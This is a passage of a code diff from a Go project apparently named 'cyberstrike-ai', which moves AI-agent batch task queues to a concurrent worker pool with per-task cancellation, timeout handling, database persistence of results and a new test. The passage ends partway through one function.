-				h.logger.Info("批量任务被取消", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
-				cancelMsg := "任务已被用户取消，后续操作已停止。"
-				// 如果执行结果中有更具体的取消消息，使用它
-				if partialResp != "" && (strings.Contains(partialResp, "任务已被取消") || strings.Contains(partialResp, "任务执行中断")) {
-					cancelMsg = partialResp
-				}
-				// 更新助手消息内容
-				if assistantMessageID != "" {
-					if updateErr := h.appendAssistantMessageNotice(assistantMessageID, cancelMsg); updateErr != nil {
-						h.logger.Warn("更新取消后的助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(updateErr))
-					}
-					// 保存取消详情到数据库
-					if err := h.db.AddProcessDetail(assistantMessageID, conversationID, "cancelled", cancelMsg, nil); err != nil {
-						h.logger.Warn("保存取消详情失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
-					}
-				} else {
-					// 如果没有预先创建的助手消息，创建一个新的
-					_, errMsg := h.db.AddMessage(conversationID, "assistant", cancelMsg, nil)
-					if errMsg != nil {
-						h.logger.Warn("保存取消消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(errMsg))
-					}
-				}
-				h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "cancelled", cancelMsg, "", conversationID)
-			} else {
-				h.logger.Error("批量任务执行失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(runErr))
-				errorMsg := "执行失败: " + runErr.Error()
-				// 更新助手消息内容
-				if assistantMessageID != "" {
-					if _, updateErr := h.db.Exec(
-						"UPDATE messages SET content = ?, updated_at = ? WHERE id = ?",
-						errorMsg,
-						time.Now(), assistantMessageID,
-					); updateErr != nil {
-						h.logger.Warn("更新失败后的助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(updateErr))
-					}
-					// 保存错误详情到数据库
-					if err := h.db.AddProcessDetail(assistantMessageID, conversationID, "error", errorMsg, nil); err != nil {
-						h.logger.Warn("保存错误详情失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
-					}
-				}
-				h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "failed", "", runErr.Error())
-			}
-		} else {
-			h.logger.Info("批量任务执行成功", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
-
-			resText := resultMA.Response
-			mcpIDs := resultMA.MCPExecutionIDs
-			lastIn := resultMA.LastAgentTraceInput
-			lastOut := resultMA.LastAgentTraceOutput
-
-			// 更新助手消息内容
-			if assistantMessageID != "" {
-				if updateErr := h.db.UpdateAssistantMessageFinalize(assistantMessageID, resText, mcpIDs, multiagent.AggregatedReasoningFromTraceJSON(lastIn)); updateErr != nil {
-					h.logger.Warn("更新助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(updateErr))
-					// 如果更新失败，尝试创建新消息
-					_, err = h.db.AddMessage(conversationID, "assistant", resText, mcpIDs)
-					if err != nil {
-						h.logger.Error("保存助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
-					}
-				}
-			} else {
-				// 如果没有预先创建的助手消息，创建一个新的
-				_, err = h.db.AddMessage(conversationID, "assistant", resText, mcpIDs)
-				if err != nil {
-					h.logger.Error("保存助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
-				}
-			}
-
-			// 保存代理轨迹
-			if lastIn != "" || lastOut != "" {
-				if err := h.db.SaveAgentTrace(conversationID, lastIn, lastOut); err != nil {
-					h.logger.Warn("保存代理轨迹失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
-				} else {
-					h.logger.Info("已保存代理轨迹", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
-				}
-			}
-
-			// 保存结果
-			h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "completed", resText, "", conversationID)
-		}
-		}()
-
-		// 移动到下一个任务
-		h.batchTaskManager.MoveToNextTask(queueID)
-
-		// 检查是否被取消或暂停
-		queue, _ = h.batchTaskManager.GetBatchQueue(queueID)
-		if queue.Status == "cancelled" || queue.Status == "paused" {
-			break
-		}
-	}
-}
-
 // loadHistoryFromAgentTrace 从库中保存的代理消息轨迹恢复历史（列 last_react_*；含单代理与 Eino）。
 // 逻辑与攻击链一致：优先用已保存的 JSON 消息带 + 最后一轮助手摘要，否则回退消息表。
 func (h *AgentHandler) loadHistoryFromAgentTrace(conversationID string) ([]agent.ChatMessage, error) {

internal/handler/agent_progress_callback_test.go

@@ -3,10 +3,14 @@ package handler
 import (
 	"context"
 	"fmt"
+	"os"
+	"path/filepath"
 	"sync"
 	"testing"
 
 	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/openai"
 
 	"go.uber.org/zap"
 )
@@ -46,3 +50,50 @@ func TestCreateProgressCallback_ConcurrentToolEvents(t *testing.T) {
 	}
 	wg.Wait()
 }
+
+// TestCreateProgressCallback_FlushesReasoningOnDone 流式推理聚合须在 done/response 时落库，刷新后可回放。
+func TestCreateProgressCallback_FlushesReasoningOnDone(t *testing.T) {
+	tmp := t.TempDir()
+	db, err := database.NewDB(filepath.Join(tmp, "test.sqlite"), zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer os.RemoveAll(tmp)
+
+	conv, err := db.CreateConversation("test", database.ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+	asst, err := db.AddMessage(conv.ID, "assistant", "处理中...", nil)
+	if err != nil {
+		t.Fatalf("AddMessage: %v", err)
+	}
+
+	h := &AgentHandler{logger: zap.NewNop(), db: db}
+	cb := h.createProgressCallback(context.Background(), nil, conv.ID, asst.ID, nil)
+
+	streamID := "eino-reasoning-test-1"
+	cb("reasoning_chain_stream_start", " ", map[string]interface{}{
+		"streamId": streamID,
+		"source":   "eino",
+	})
+	cb("reasoning_chain_stream_delta", "step one", openai.WithSSEAccumulated(map[string]interface{}{
+		"streamId": streamID,
+	}, "step one"))
+	cb("done", "", map[string]interface{}{"conversationId": conv.ID})
+
+	details, err := db.GetProcessDetails(asst.ID)
+	if err != nil {
+		t.Fatalf("GetProcessDetails: %v", err)
+	}
+	found := false
+	for _, d := range details {
+		if d.EventType == "reasoning_chain" && d.Message == "step one" {
+			found = true
+			break
+		}
+	}
+	if !found {
+		t.Fatalf("expected reasoning_chain persisted on done, got %+v", details)
+	}
+}

internal/handler/audit_query.go

@@ -2,7 +2,6 @@ package handler
 
 import (
 	"strconv"
-	"time"
 
 	"cyberstrike-ai/internal/database"
 
@@ -20,12 +19,12 @@ func auditFilterFromQuery(c *gin.Context) database.ListAuditLogsFilter {
 		ResourceID:   c.Query("resource_id"),
 	}
 	if since := c.Query("since"); since != "" {
-		if t, err := time.Parse(time.RFC3339, since); err == nil {
+		if t, err := database.ParseRFC3339Time(since); err == nil {
 			filter.Since = &t
 		}
 	}
 	if until := c.Query("until"); until != "" {
-		if t, err := time.Parse(time.RFC3339, until); err == nil {
+		if t, err := database.ParseRFC3339Time(until); err == nil {
 			filter.Until = &t
 		}
 	}

internal/handler/batch_queue_executor.go

@@ -0,0 +1,352 @@
+package handler
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"strings"
+	"sync"
+	"time"
+
+	"cyberstrike-ai/internal/agent"
+	"cyberstrike-ai/internal/audit"
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/mcp"
+	"cyberstrike-ai/internal/multiagent"
+
+	"go.uber.org/zap"
+)
+
+const batchQueueWorkerIdlePoll = 200 * time.Millisecond
+
+// executeBatchQueue 使用并发 worker 池执行批量任务队列。
+func (h *AgentHandler) executeBatchQueue(queueID string) {
+	defer h.batchTaskManager.UnmarkQueueExecutor(queueID)
+
+	queue, exists := h.batchTaskManager.GetBatchQueue(queueID)
+	if !exists {
+		return
+	}
+	concurrency := normalizeBatchQueueConcurrency(queue.Concurrency)
+	h.logger.Info("开始执行批量任务队列", zap.String("queueId", queueID), zap.Int("concurrency", concurrency))
+
+	var wg sync.WaitGroup
+	for i := 0; i < concurrency; i++ {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			h.runBatchQueueWorker(queueID)
+		}()
+	}
+	wg.Wait()
+
+	h.tryFinalizeBatchQueue(queueID)
+}
+
+func (h *AgentHandler) runBatchQueueWorker(queueID string) {
+	for {
+		queue, exists := h.batchTaskManager.GetBatchQueue(queueID)
+		if batchQueueExecutionShouldStop(queue, exists) {
+			return
+		}
+
+		task, ok := h.batchTaskManager.ClaimNextPendingTask(queueID)
+		if !ok {
+			if !h.batchTaskManager.HasRunningTasks(queueID) {
+				return
+			}
+			time.Sleep(batchQueueWorkerIdlePoll)
+			continue
+		}
+
+		queue, _ = h.batchTaskManager.GetBatchQueue(queueID)
+		if queue == nil {
+			return
+		}
+
+		h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, BatchTaskStatusRunning, "", "")
+		h.executeOneBatchSubTask(queueID, queue, task)
+
+		if h.batchTaskManager.TakeSingleRunTaskIfMatch(queueID, task.ID) {
+			h.batchTaskManager.UpdateQueueStatus(queueID, BatchQueueStatusPaused)
+			h.logger.Info("单条执行完成，队列已暂停", zap.String("queueId", queueID), zap.String("taskId", task.ID))
+			return
+		}
+
+		queue, exists = h.batchTaskManager.GetBatchQueue(queueID)
+		if batchQueueExecutionShouldStop(queue, exists) {
+			if !exists {
+				h.logger.Warn("批量队列在执行收尾时已不存在，安全退出", zap.String("queueId", queueID))
+			}
+			return
+		}
+	}
+}
+
+func (h *AgentHandler) tryFinalizeBatchQueue(queueID string) {
+	queue, exists := h.batchTaskManager.GetBatchQueue(queueID)
+	if !exists || queue == nil {
+		return
+	}
+	if queue.Status != BatchQueueStatusRunning {
+		return
+	}
+	if h.batchTaskManager.HasPendingOrRunningTasks(queueID) {
+		return
+	}
+
+	lastRunErr := ""
+	for _, t := range queue.Tasks {
+		if t != nil && t.Status == BatchTaskStatusFailed && t.Error != "" {
+			lastRunErr = t.Error
+		}
+	}
+	h.batchTaskManager.SetLastRunError(queueID, lastRunErr)
+	h.batchTaskManager.UpdateQueueStatus(queueID, BatchQueueStatusCompleted)
+	h.logger.Info("批量任务队列执行完成", zap.String("queueId", queueID))
+}
+
+// executeOneBatchSubTask 执行单条批量子任务（各自独立会话）。
+func (h *AgentHandler) executeOneBatchSubTask(queueID string, queue *BatchTaskQueue, task *BatchTask) {
+	title := safeTruncateString(task.Message, 50)
+	batchMeta := audit.ConversationCreateMeta("batch_task")
+	batchMeta.ProjectID = effectiveProjectID(h.config, queue.ProjectID)
+	conv, err := h.db.CreateConversation(title, batchMeta)
+	if err != nil {
+		h.logger.Error("创建对话失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
+		h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, BatchTaskStatusFailed, "", "创建对话失败: "+err.Error())
+		return
+	}
+	conversationID := conv.ID
+
+	h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, BatchTaskStatusRunning, "", "", conversationID)
+
+	finalMessage := task.Message
+	var roleTools []string
+	if queue.Role != "" && queue.Role != "默认" {
+		if h.config.Roles != nil {
+			if role, exists := h.config.Roles[queue.Role]; exists && role.Enabled {
+				if role.UserPrompt != "" {
+					finalMessage = role.UserPrompt + "\n\n" + task.Message
+					h.logger.Info("应用角色用户提示词", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role))
+				}
+				if len(role.Tools) > 0 {
+					roleTools = role.Tools
+					h.logger.Info("使用角色配置的工具列表", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role), zap.Int("toolCount", len(roleTools)))
+				}
+			}
+		}
+	}
+
+	if _, err = h.db.AddMessage(conversationID, "user", task.Message, nil); err != nil {
+		h.logger.Error("保存用户消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
+	}
+
+	assistantMsg, err := h.db.AddMessage(conversationID, "assistant", "处理中...", nil)
+	if err != nil {
+		h.logger.Error("创建助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
+		assistantMsg = nil
+	}
+
+	var assistantMessageID string
+	if assistantMsg != nil {
+		assistantMessageID = assistantMsg.ID
+	}
+
+	h.logger.Info("执行批量任务", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("message", task.Message), zap.String("role", queue.Role), zap.String("conversationId", conversationID))
+
+	baseCtx, cancelWithCause := context.WithCancelCause(context.Background())
+	taskCtx, timeoutCancel := context.WithTimeout(baseCtx, 6*time.Hour)
+
+	registered := false
+	finishStatus := "completed"
+
+	defer func() {
+		h.batchTaskManager.SetTaskCancel(queueID, task.ID, nil)
+		timeoutCancel()
+		if registered {
+			if h.taskEventBus != nil {
+				ev := StreamEvent{Type: "done", Message: "", Data: map[string]interface{}{"conversationId": conversationID}}
+				if b, err := json.Marshal(ev); err == nil {
+					h.taskEventBus.Publish(conversationID, append(append([]byte("data: "), b...), '\n', '\n'))
+				}
+			}
+			h.tasks.FinishTask(conversationID, finishStatus)
+		}
+		cancelWithCause(nil)
+	}()
+
+	sendEvent := func(eventType, message string, data interface{}) {
+		if h.taskEventBus == nil {
+			return
+		}
+		ev := StreamEvent{Type: eventType, Message: message, Data: data}
+		b, err := json.Marshal(ev)
+		if err != nil {
+			b = []byte(`{"type":"error","message":"marshal failed"}`)
+		}
+		line := make([]byte, 0, len(b)+8)
+		line = append(line, []byte("data: ")...)
+		line = append(line, b...)
+		line = append(line, '\n', '\n')
+		h.taskEventBus.Publish(conversationID, line)
+	}
+
+	if _, err := h.tasks.StartTask(conversationID, task.Message, cancelWithCause); err != nil {
+		h.logger.Warn("批量队列子任务注册会话运行状态失败",
+			zap.String("queueId", queueID),
+			zap.String("taskId", task.ID),
+			zap.String("conversationId", conversationID),
+			zap.Error(err))
+		failMsg := err.Error()
+		if errors.Is(err, ErrTaskAlreadyRunning) {
+			failMsg = "会话已有任务正在执行，无法在该会话上并行启动批量子任务"
+		}
+		h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, BatchTaskStatusFailed, "", failMsg)
+		return
+	}
+	registered = true
+	h.batchTaskManager.SetTaskCancel(queueID, task.ID, timeoutCancel)
+
+	progressCallback := h.createProgressCallback(taskCtx, cancelWithCause, conversationID, assistantMessageID, sendEvent)
+	taskCtx = mcp.WithMCPConversationID(taskCtx, conversationID)
+	taskCtx = mcp.WithToolRunRegistry(taskCtx, h.tasks)
+	taskCtx = mcp.WithEinoExecuteRunRegistry(taskCtx, h.tasks)
+
+	useBatchMulti := false
+	batchOrch := "deep"
+	am := strings.TrimSpace(strings.ToLower(queue.AgentMode))
+	if am == "multi" {
+		am = "deep"
+	}
+	if batchQueueWantsEino(queue.AgentMode) && h.config != nil && h.config.MultiAgent.Enabled {
+		useBatchMulti = true
+		batchOrch = config.NormalizeMultiAgentOrchestration(am)
+	} else if queue.AgentMode == "" && h.config != nil && h.config.MultiAgent.Enabled && h.config.MultiAgent.BatchUseMultiAgent {
+		useBatchMulti = true
+		batchOrch = "deep"
+	}
+
+	var resultMA *multiagent.RunResult
+	var runErr error
+	switch {
+	case useBatchMulti:
+		resultMA, runErr = multiagent.RunDeepAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger, conversationID, h.conversationProjectID(conversationID), finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir, batchOrch, nil, h.agentSessionContextBlock(conversationID))
+	default:
+		if h.config == nil {
+			runErr = fmt.Errorf("服务器配置未加载")
+		} else {
+			resultMA, runErr = multiagent.RunEinoSingleChatModelAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger, conversationID, h.conversationProjectID(conversationID), finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, nil, h.agentSessionContextBlock(conversationID))
+		}
+	}
+
+	if runErr != nil {
+		h.handleBatchSubTaskRunError(queueID, task, conversationID, assistantMessageID, baseCtx, taskCtx, resultMA, runErr, &finishStatus)
+		return
+	}
+
+	if resultMA == nil {
+		h.logger.Error("批量任务执行成功但无结果对象",
+			zap.String("queueId", queueID),
+			zap.String("taskId", task.ID),
+			zap.String("conversationId", conversationID))
+		h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, BatchTaskStatusFailed, "", "内部错误：无执行结果")
+		return
+	}
+
+	h.logger.Info("批量任务执行成功", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
+
+	resText := resultMA.Response
+	mcpIDs := resultMA.MCPExecutionIDs
+	lastIn := resultMA.LastAgentTraceInput
+	lastOut := resultMA.LastAgentTraceOutput
+
+	if assistantMessageID != "" {
+		if updateErr := h.db.UpdateAssistantMessageFinalize(assistantMessageID, resText, mcpIDs, multiagent.AggregatedReasoningFromTraceJSON(lastIn)); updateErr != nil {
+			h.logger.Warn("更新助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(updateErr))
+			if _, err = h.db.AddMessage(conversationID, "assistant", resText, mcpIDs); err != nil {
+				h.logger.Error("保存助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
+			}
+		}
+	} else if _, err = h.db.AddMessage(conversationID, "assistant", resText, mcpIDs); err != nil {
+		h.logger.Error("保存助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
+	}
+
+	if lastIn != "" || lastOut != "" {
+		if err := h.db.SaveAgentTrace(conversationID, lastIn, lastOut); err != nil {
+			h.logger.Warn("保存代理轨迹失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
+		}
+	}
+
+	h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, BatchTaskStatusCompleted, resText, "", conversationID)
+}
+
+func (h *AgentHandler) handleBatchSubTaskRunError(
+	queueID string,
+	task *BatchTask,
+	conversationID, assistantMessageID string,
+	baseCtx, taskCtx context.Context,
+	resultMA *multiagent.RunResult,
+	runErr error,
+	finishStatus *string,
+) {
+	if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
+		h.persistEinoAgentTraceForResume(conversationID, resultMA)
+	}
+	errStr := runErr.Error()
+	partialResp := ""
+	if resultMA != nil {
+		partialResp = resultMA.Response
+	}
+	isCancelled := errors.Is(context.Cause(baseCtx), ErrTaskCancelled) ||
+		errors.Is(runErr, context.Canceled) ||
+		strings.Contains(strings.ToLower(errStr), "context canceled") ||
+		strings.Contains(strings.ToLower(errStr), "context cancelled") ||
+		(partialResp != "" && (strings.Contains(partialResp, "任务已被取消") || strings.Contains(partialResp, "任务执行中断")))
+	isTimeout := errors.Is(runErr, context.DeadlineExceeded) || errors.Is(context.Cause(taskCtx), context.DeadlineExceeded)
+
+	if isTimeout {
+		*finishStatus = "timeout"
+	} else if isCancelled {
+		*finishStatus = "cancelled"
+	} else {
+		*finishStatus = "failed"
+	}
+
+	if isCancelled {
+		h.logger.Info("批量任务被取消", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
+		cancelMsg := "任务已被用户取消，后续操作已停止。"
+		if partialResp != "" && (strings.Contains(partialResp, "任务已被取消") || strings.Contains(partialResp, "任务执行中断")) {
+			cancelMsg = partialResp
+		}
+		if assistantMessageID != "" {
+			if updateErr := h.appendAssistantMessageNotice(assistantMessageID, cancelMsg); updateErr != nil {
+				h.logger.Warn("更新取消后的助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(updateErr))
+			}
+			if err := h.db.AddProcessDetail(assistantMessageID, conversationID, "cancelled", cancelMsg, nil); err != nil {
+				h.logger.Warn("保存取消详情失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
+			}
+		} else if _, errMsg := h.db.AddMessage(conversationID, "assistant", cancelMsg, nil); errMsg != nil {
+			h.logger.Warn("保存取消消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(errMsg))
+		}
+		h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, BatchTaskStatusCancelled, cancelMsg, "", conversationID)
+		return
+	}
+
+	h.logger.Error("批量任务执行失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(runErr))
+	errorMsg := "执行失败: " + runErr.Error()
+	if assistantMessageID != "" {
+		if _, updateErr := h.db.Exec(
+			"UPDATE messages SET content = ?, updated_at = ? WHERE id = ?",
+			errorMsg,
+			time.Now(), assistantMessageID,
+		); updateErr != nil {
+			h.logger.Warn("更新失败后的助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(updateErr))
+		}
+		if err := h.db.AddProcessDetail(assistantMessageID, conversationID, "error", errorMsg, nil); err != nil {
+			h.logger.Warn("保存错误详情失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
+		}
+	}
+	h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, BatchTaskStatusFailed, "", runErr.Error())
+}

internal/handler/batch_task_manager.go

@@ -4,6 +4,7 @@ import (
 	"context"
 	"crypto/rand"
 	"encoding/hex"
+	"errors"
 	"fmt"
 	"sort"
 	"strings"
@@ -17,6 +18,15 @@ import (
 	"go.uber.org/zap"
 )
 
+var (
+	// ErrBatchQueueNotFound 队列不存在或已从内存卸载。
+	ErrBatchQueueNotFound = errors.New("batch queue not found")
+	// ErrBatchQueueExecutorActive executeBatchQueue 协程仍在收尾，禁止删除。
+	ErrBatchQueueExecutorActive = errors.New("batch queue executor is still active")
+	// ErrBatchQueueStillRunning 队列状态仍为 running（无活跃执行器时的兜底保护）。
+	ErrBatchQueueStillRunning = errors.New("batch queue is still running")
+)
+
 // 批量任务状态常量
 const (
 	BatchQueueStatusPending   = "pending"
@@ -39,6 +49,12 @@ const (
 
 	// MaxBatchQueueRoleLen 角色名最大长度
 	MaxBatchQueueRoleLen = 100
+
+	// DefaultBatchQueueConcurrency 批量队列默认并发数（串行）
+	DefaultBatchQueueConcurrency = 1
+
+	// MaxBatchQueueConcurrency 批量队列最大并发数
+	MaxBatchQueueConcurrency = 8
 )
 
 // BatchTask 批量任务项
@@ -67,6 +83,7 @@ type BatchTaskQueue struct {
 	LastScheduleError     string       `json:"lastScheduleError,omitempty"`
 	LastRunError          string       `json:"lastRunError,omitempty"`
 	ProjectID             string       `json:"projectId,omitempty"`
+	Concurrency           int          `json:"concurrency"` // 同时执行的子任务数，默认 1
 	Tasks                 []*BatchTask `json:"tasks"`
 	Status                string       `json:"status"` // pending, running, paused, completed, cancelled
 	CreatedAt             time.Time    `json:"createdAt"`
@@ -77,11 +94,13 @@ type BatchTaskQueue struct {
 
 // BatchTaskManager 批量任务管理器
 type BatchTaskManager struct {
-	db          *database.DB
-	logger      *zap.Logger
-	queues      map[string]*BatchTaskQueue
-	taskCancels map[string]context.CancelFunc // 存储每个队列当前任务的取消函数
-	mu          sync.RWMutex
+	db             *database.DB
+	logger         *zap.Logger
+	queues         map[string]*BatchTaskQueue
+	taskCancels    map[string]map[string]context.CancelFunc // queueID -> taskID -> 取消函数
+	singleRunTasks map[string]string             // queueID -> taskID，单条执行完成后暂停队列
+	queueExecutors map[string]struct{}           // executeBatchQueue 协程活跃标记（与队列 status 解耦）
+	mu             sync.RWMutex
 }
 
 // NewBatchTaskManager 创建批量任务管理器
@@ -90,12 +109,58 @@ func NewBatchTaskManager(logger *zap.Logger) *BatchTaskManager {
 		logger = zap.NewNop()
 	}
 	return &BatchTaskManager{
-		logger:      logger,
-		queues:      make(map[string]*BatchTaskQueue),
-		taskCancels: make(map[string]context.CancelFunc),
+		logger:         logger,
+		queues:         make(map[string]*BatchTaskQueue),
+		taskCancels:    make(map[string]map[string]context.CancelFunc),
+		singleRunTasks: make(map[string]string),
+		queueExecutors: make(map[string]struct{}),
 	}
 }
 
+// batchQueueExecutionShouldStop 判断 executeBatchQueue 主循环是否应退出。
+func batchQueueExecutionShouldStop(queue *BatchTaskQueue, exists bool) bool {
+	if !exists || queue == nil {
+		return true
+	}
+	switch queue.Status {
+	case BatchQueueStatusCancelled, BatchQueueStatusCompleted, BatchQueueStatusPaused:
+		return true
+	default:
+		return false
+	}
+}
+
+// TryMarkQueueExecutor 标记队列执行协程已启动；若已有执行协程则返回 false。
+func (m *BatchTaskManager) TryMarkQueueExecutor(queueID string) bool {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if _, exists := m.queueExecutors[queueID]; exists {
+		return false
+	}
+	m.queueExecutors[queueID] = struct{}{}
+	return true
+}
+
+// UnmarkQueueExecutor 清除队列执行协程标记（executeBatchQueue defer 调用）。
+func (m *BatchTaskManager) UnmarkQueueExecutor(queueID string) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	delete(m.queueExecutors, queueID)
+}
+
+// ForceUnmarkQueueExecutor 强制清除执行协程标记（暂停态单条重跑等场景回收陈旧槽位）。
+func (m *BatchTaskManager) ForceUnmarkQueueExecutor(queueID string) {
+	m.UnmarkQueueExecutor(queueID)
+}
+
+// IsQueueExecutorActive 队列 executeBatchQueue 协程是否仍在运行。
+func (m *BatchTaskManager) IsQueueExecutorActive(queueID string) bool {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	_, ok := m.queueExecutors[queueID]
+	return ok
+}
+
 // SetDB 设置数据库连接
 func (m *BatchTaskManager) SetDB(db *database.DB) {
 	m.mu.Lock()
@@ -103,10 +168,22 @@ func (m *BatchTaskManager) SetDB(db *database.DB) {
 	m.db = db
 }
 
+// normalizeBatchQueueConcurrency 规范化队列并发数。
+func normalizeBatchQueueConcurrency(n int) int {
+	if n < 1 {
+		return DefaultBatchQueueConcurrency
+	}
+	if n > MaxBatchQueueConcurrency {
+		return MaxBatchQueueConcurrency
+	}
+	return n
+}
+
 // CreateBatchQueue 创建批量任务队列
 func (m *BatchTaskManager) CreateBatchQueue(
 	title, role, agentMode, scheduleMode, cronExpr, projectID string,
 	nextRunAt *time.Time,
+	concurrency int,
 	tasks []string,
 ) (*BatchTaskQueue, error) {
 	// 输入校验
@@ -134,6 +211,7 @@ func (m *BatchTaskManager) CreateBatchQueue(
 		CronExpr:        strings.TrimSpace(cronExpr),
 		NextRunAt:       nextRunAt,
 		ScheduleEnabled: true,
+		Concurrency:     normalizeBatchQueueConcurrency(concurrency),
 		Tasks:           make([]*BatchTask, 0, len(tasks)),
 		Status:          BatchQueueStatusPending,
 		CreatedAt:       time.Now(),
@@ -175,6 +253,7 @@ func (m *BatchTaskManager) CreateBatchQueue(
 			queue.CronExpr,
 			queue.NextRunAt,
 			queue.ProjectID,
+			queue.Concurrency,
 			dbTasks,
 		); err != nil {
 			m.logger.Warn("batch queue DB create failed", zap.String("queueId", queueID), zap.Error(err))
@@ -270,6 +349,7 @@ func (m *BatchTaskManager) loadQueueFromDB(queueID string) *BatchTaskQueue {
 	if queueRow.ProjectID.Valid {
 		queue.ProjectID = strings.TrimSpace(queueRow.ProjectID.String)
 	}
+	queue.Concurrency = batchQueueConcurrencyFromRow(queueRow)
 	if queueRow.StartedAt.Valid {
 		queue.StartedAt = &queueRow.StartedAt.Time
 	}
@@ -509,6 +589,7 @@ func (m *BatchTaskManager) LoadFromDB() error {
 		if queueRow.ProjectID.Valid {
 			queue.ProjectID = strings.TrimSpace(queueRow.ProjectID.String)
 		}
+		queue.Concurrency = batchQueueConcurrencyFromRow(queueRow)
 		if queueRow.StartedAt.Valid {
 			queue.StartedAt = &queueRow.StartedAt.Time
 		}
@@ -649,8 +730,16 @@ func (m *BatchTaskManager) UpdateQueueSchedule(queueID, scheduleMode, cronExpr s
 	}
 }
 
-// UpdateQueueMetadata 更新队列标题、角色和代理模式（非 running 时可用）
-func (m *BatchTaskManager) UpdateQueueMetadata(queueID, title, role, agentMode string) error {
+// batchQueueConcurrencyFromRow 从数据库行读取并发数（缺省为 1）。
+func batchQueueConcurrencyFromRow(row *database.BatchTaskQueueRow) int {
+	if row == nil || !row.Concurrency.Valid {
+		return DefaultBatchQueueConcurrency
+	}
+	return normalizeBatchQueueConcurrency(int(row.Concurrency.Int64))
+}
+
+// UpdateQueueMetadata 更新队列标题、角色、代理模式和并发数（非 running 时可用）
+func (m *BatchTaskManager) UpdateQueueMetadata(queueID, title, role, agentMode string, concurrency *int) error {
 	if utf8.RuneCountInString(title) > MaxBatchQueueTitleLen {
 		return fmt.Errorf("标题不能超过 %d 个字符", MaxBatchQueueTitleLen)
 	}
@@ -678,9 +767,12 @@ func (m *BatchTaskManager) UpdateQueueMetadata(queueID, title, role, agentMode s
 	queue.Title = title
 	queue.Role = role
 	queue.AgentMode = agentMode
+	if concurrency != nil {
+		queue.Concurrency = normalizeBatchQueueConcurrency(*concurrency)
+	}
 
 	if m.db != nil {
-		if err := m.db.UpdateBatchQueueMetadata(queueID, title, role, agentMode); err != nil {
+		if err := m.db.UpdateBatchQueueMetadata(queueID, title, role, agentMode, queue.Concurrency); err != nil {
 			m.logger.Warn("batch queue DB metadata update failed", zap.String("queueId", queueID), zap.Error(err))
 		}
 	}
@@ -864,6 +956,137 @@ func (m *BatchTaskManager) AddTaskToQueue(queueID, message string) (*BatchTask,
 	return task, nil
 }
 
+// PrepareSingleTaskRun 准备单条执行：重置目标任务（若已有结果）并定位队列索引
+func (m *BatchTaskManager) PrepareSingleTaskRun(queueID, taskID string) error {
+	var siblingRunningIDs []string
+
+	m.mu.Lock()
